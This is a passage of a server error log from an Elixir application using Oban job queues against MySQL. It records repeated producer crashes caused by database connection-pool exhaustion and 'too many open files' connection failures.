    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:50:43.239300Z], limit: 3, uuid: "922143ab-342d-4bec-abf1-6c7d0bbeb3b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:43.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.58046>, refresh_timer: #Reference<0.2525715032.1077673987.58021>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:50:43.240074Z], limit: 50, uuid: "c64cfbe0-0386-487a-b461-98f879a6d477", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:43.240079Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82671>, refresh_timer: #Reference<0.2525715032.1077673987.58030>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:50:43.238104Z], limit: 10, uuid: "b7d8814d-2665-44ad-866b-084e0b180dc3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:43.238111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82610>, refresh_timer: #Reference<0.2525715032.1068498948.82588>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:50:43.238999Z], limit: 5, uuid: "bef4b89e-d6bb-4d42-bee4-9650549559d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:43.239004Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.58045>, refresh_timer: #Reference<0.2525715032.1077673987.58011>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:50:43.239360Z], limit: 5, uuid: "161efd0a-c595-4e6a-8c2d-4bbb359f8c91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:43.239366Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82670>, refresh_timer: #Reference<0.2525715032.1121189889.225940>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:50:43.238899Z], limit: 20, uuid: "1a9636a6-20a4-40f0-b332-9cf01082cc00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:43.238905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.58009>, refresh_timer: #Reference<0.2525715032.1077673987.58008>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:03.876000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:04.656000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:07.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:50:55.238742Z], limit: 3, uuid: "70354663-22fe-48d8-8b7f-84c200ee8080", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:55.238752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82919>, refresh_timer: #Reference<0.2525715032.1077673987.58310>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:50:55.239383Z], limit: 50, uuid: "974d822a-5439-46e0-b018-dd698ebde005", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:55.239408Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82917>, refresh_timer: #Reference<0.2525715032.1068498948.82894>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:50:55.239298Z], limit: 5, uuid: "47b7daa8-289e-4767-92b5-4211fe3b99d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:55.239303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82915>, refresh_timer: #Reference<0.2525715032.1068498948.82888>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
